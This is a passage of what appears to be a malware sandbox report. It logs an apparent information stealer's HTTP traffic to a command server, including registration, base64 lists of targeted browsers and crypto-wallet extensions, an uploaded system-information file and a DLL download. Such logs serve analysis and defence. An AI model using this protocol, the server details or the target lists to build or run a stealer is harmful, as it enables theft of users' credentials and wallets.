Oct 24, 2024 13:29:07.678915024 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:07.678940058 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:07.678963900 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:07.683533907 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:07.683578014 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:07.683609009 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:07.683621883 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:07.683650970 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:07.683670998 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:07.691471100 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:07.691519976 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:07.691543102 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:07.691574097 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:29:07.691602945 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:29:07.691622019 CEST	49731	443	192.168.2.4	185.98.131.200

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 24, 2024 13:27:13.673028946 CEST	59531	53	192.168.2.4	1.1.1.1
Oct 24, 2024 13:27:13.720720053 CEST	53	59531	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 24, 2024 13:27:13.673028946 CEST	192.168.2.4	1.1.1.1	0x8a80	Standard query (0)	sirault.be	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 24, 2024 13:27:13.720720053 CEST	1.1.1.1	192.168.2.4	0x8a80	No error (0)	sirault.be		185.98.131.200	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

sirault.be

109.107.157.208

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	109.107.157.208	80	6592	C:\Users\user\Desktop\T220UXIoKO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 13:26:58.389206886 CEST	90	OUT	GET / HTTP/1.1 Host: 109.107.157.208 Connection: Keep-Alive Cache-Control: no-cache
Oct 24, 2024 13:26:59.210546017 CEST	203	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 11:26:59 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 13:26:59.213080883 CEST	419	OUT	POST /49aaa1bd4c594849.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJDHCFCBGIDGHJJKJJDG Host: 109.107.157.208 Content-Length: 217 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 44 48 43 46 43 42 47 49 44 47 48 4a 4a 4b 4a 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 36 36 45 46 41 41 38 34 37 45 37 33 30 39 39 33 30 35 32 31 35 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 48 43 46 43 42 47 49 44 47 48 4a 4a 4b 4a 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 4c 6f 67 73 44 69 6c 6c 65 72 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 48 43 46 43 42 47 49 44 47 48 4a 4a 4b 4a 4a 44 47 2d 2d 0d 0a Data Ascii: ------HJDHCFCBGIDGHJJKJJDGContent-Disposition: form-data; name="hwid"E66EFAA847E73099305215------HJDHCFCBGIDGHJJKJJDGContent-Disposition: form-data; name="build"LogsDiller------HJDHCFCBGIDGHJJKJJDG--
Oct 24, 2024 13:26:59.496221066 CEST	407	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 11:26:59 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 59 78 59 32 4d 78 4e 44 67 7a 59 7a 68 6d 4e 32 55 77 5a 54 41 33 4e 54 46 6c 5a 6d 5a 6b 4d 54 49 78 5a 47 5a 6b 4e 54 6b 30 4e 44 45 33 59 6a 49 31 4f 44 45 30 5a 47 56 6b 59 54 64 6a 5a 6a 67 31 59 6a 59 32 4d 47 55 35 4f 54 5a 68 4e 32 52 6c 59 54 68 69 4e 54 68 6b 4f 44 68 6c 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 46 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: YmYxY2MxNDgzYzhmN2UwZTA3NTFlZmZkMTIxZGZkNTk0NDE3YjI1ODE0ZGVkYTdjZjg1YjY2MGU5OTZhN2RlYThiNThkODhlfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDF8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Oct 24, 2024 13:26:59.518659115 CEST	470	OUT	POST /49aaa1bd4c594849.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AEBAFBGIDHCBFHIECFCB Host: 109.107.157.208 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 66 31 63 63 31 34 38 33 63 38 66 37 65 30 65 30 37 35 31 65 66 66 64 31 32 31 64 66 64 35 39 34 34 31 37 62 32 35 38 31 34 64 65 64 61 37 63 66 38 35 62 36 36 30 65 39 39 36 61 37 64 65 61 38 62 35 38 64 38 38 65 0d 0a 2d 2d 2d 2d 2d 2d 41 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 41 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 42 2d 2d 0d 0a Data Ascii: ------AEBAFBGIDHCBFHIECFCBContent-Disposition: form-data; name="token"bf1cc1483c8f7e0e0751effd121dfd594417b25814deda7cf85b660e996a7dea8b58d88e------AEBAFBGIDHCBFHIECFCBContent-Disposition: form-data; name="message"browsers------AEBAFBGIDHCBFHIECFCB--
Oct 24, 2024 13:26:59.758553982 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 11:26:59 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Oct 24, 2024 13:26:59.758619070 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Oct 24, 2024 13:26:59.762041092 CEST	469	OUT	POST /49aaa1bd4c594849.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKJEHJKJEBGHJJKEBGIE Host: 109.107.157.208 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 66 31 63 63 31 34 38 33 63 38 66 37 65 30 65 30 37 35 31 65 66 66 64 31 32 31 64 66 64 35 39 34 34 31 37 62 32 35 38 31 34 64 65 64 61 37 63 66 38 35 62 36 36 30 65 39 39 36 61 37 64 65 61 38 62 35 38 64 38 38 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 45 2d 2d 0d 0a Data Ascii: ------JKJEHJKJEBGHJJKEBGIEContent-Disposition: form-data; name="token"bf1cc1483c8f7e0e0751effd121dfd594417b25814deda7cf85b660e996a7dea8b58d88e------JKJEHJKJEBGHJJKEBGIEContent-Disposition: form-data; name="message"plugins------JKJEHJKJEBGHJJKEBGIE--
Oct 24, 2024 13:27:00.001851082 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 11:26:59 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Oct 24, 2024 13:27:00.001914978 CEST	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Oct 24, 2024 13:27:00.001951933 CEST	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Oct 24, 2024 13:27:00.002223969 CEST	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Oct 24, 2024 13:27:00.002259970 CEST	848	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
Oct 24, 2024 13:27:00.002296925 CEST	1236	IN	Data Raw: 62 6e 52 70 5a 58 49 67 56 32 46 73 62 47 56 30 66 47 74 77 63 47 5a 6b 61 57 6c 77 63 47 68 6d 59 32 4e 6c 62 57 4e 70 5a 32 35 6f 61 57 5a 77 61 6d 74 68 63 47 5a 69 61 57 68 6b 66 44 46 38 4d 48 77 77 66 46 4e 68 5a 6d 56 51 59 57 78 38 62 47 Data Ascii: bnRpZXIgV2FsbGV0fGtwcGZkaWlwcGhmY2NlbWNpZ25oaWZwamthcGZiaWhkfDF8MHwwfFNhZmVQYWx8bGdtcGNwZ2xwbmdkb2FsYmdlb2xkZWFqZmNsbmhhZmF8MXwwfDB8U3ViV2FsbGV0IC0gUG9sa2Fkb3QgV2FsbGV0fG9uaG9nZmplYWNuZm9vZmtmZ3BwZGxibWxtbnBsZ2JufDF8MHwwfEZsdXZpIFdhbGxldHxtbW1
Oct 24, 2024 13:27:00.002895117 CEST	316	IN	Data Raw: 62 57 6c 6f 62 6d 52 74 62 57 4e 6b 59 57 35 68 59 32 39 73 62 6d 68 38 4d 58 77 77 66 44 42 38 51 6d 6c 30 5a 32 56 30 49 46 64 68 62 47 78 6c 64 48 78 71 61 57 6c 6b 61 57 46 68 62 47 6c 6f 62 57 31 6f 5a 47 52 71 5a 32 4a 75 59 6d 64 6b 5a 6d Data Ascii: bWlobmRtbWNkYW5hY29sbmh8MXwwfDB8Qml0Z2V0IFdhbGxldHxqaWlkaWFhbGlobW1oZGRqZ2JuYmdkZmZsZWxvY3Bha3wxfDB8MHxUT04gV2FsbGV0fG5waHBscGdvYWtoaGpjaGtraG1pZ2dha2lqbmtoZm5kfDF8MHwwfE15VG9uV2FsbGV0fGZsZGZwZ2lwZm5jZ25kZm9sY2JrZGVla25iYmJuaGNjfDF8MHwwfFVuaXN
Oct 24, 2024 13:27:00.004616976 CEST	470	OUT	POST /49aaa1bd4c594849.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKKKEHJKFCFCBFHIIDGD Host: 109.107.157.208 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4b 4b 45 48 4a 4b 46 43 46 43 42 46 48 49 49 44 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 66 31 63 63 31 34 38 33 63 38 66 37 65 30 65 30 37 35 31 65 66 66 64 31 32 31 64 66 64 35 39 34 34 31 37 62 32 35 38 31 34 64 65 64 61 37 63 66 38 35 62 36 36 30 65 39 39 36 61 37 64 65 61 38 62 35 38 64 38 38 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4b 45 48 4a 4b 46 43 46 43 42 46 48 49 49 44 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4b 45 48 4a 4b 46 43 46 43 42 46 48 49 49 44 47 44 2d 2d 0d 0a Data Ascii: ------KKKKEHJKFCFCBFHIIDGDContent-Disposition: form-data; name="token"bf1cc1483c8f7e0e0751effd121dfd594417b25814deda7cf85b660e996a7dea8b58d88e------KKKKEHJKFCFCBFHIIDGDContent-Disposition: form-data; name="message"fplugins------KKKKEHJKFCFCBFHIIDGD--
Oct 24, 2024 13:27:00.242863894 CEST	335	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 11:27:00 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Oct 24, 2024 13:27:00.282629967 CEST	203	OUT	POST /49aaa1bd4c594849.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHIDHCBGDHJKEBGDGIJE Host: 109.107.157.208 Content-Length: 6027 Connection: Keep-Alive Cache-Control: no-cache
Oct 24, 2024 13:27:00.282630920 CEST	6027	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 47 48 49 44 48 43 42 47 44 48 4a 4b 45 42 47 44 47 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 66 31 63 63 31 Data Ascii: ------GHIDHCBGDHJKEBGDGIJEContent-Disposition: form-data; name="token"bf1cc1483c8f7e0e0751effd121dfd594417b25814deda7cf85b660e996a7dea8b58d88e------GHIDHCBGDHJKEBGDGIJEContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Oct 24, 2024 13:27:00.577987909 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 11:27:00 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 13:27:00.853514910 CEST	94	OUT	GET /74bc575e584e922c/sqlite3.dll HTTP/1.1 Host: 109.107.157.208 Cache-Control: no-cache
Oct 24, 2024 13:27:01.090617895 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 11:27:00 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 14:30:30 GMT ETag: "10e436-5e7eeebed8d80" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in 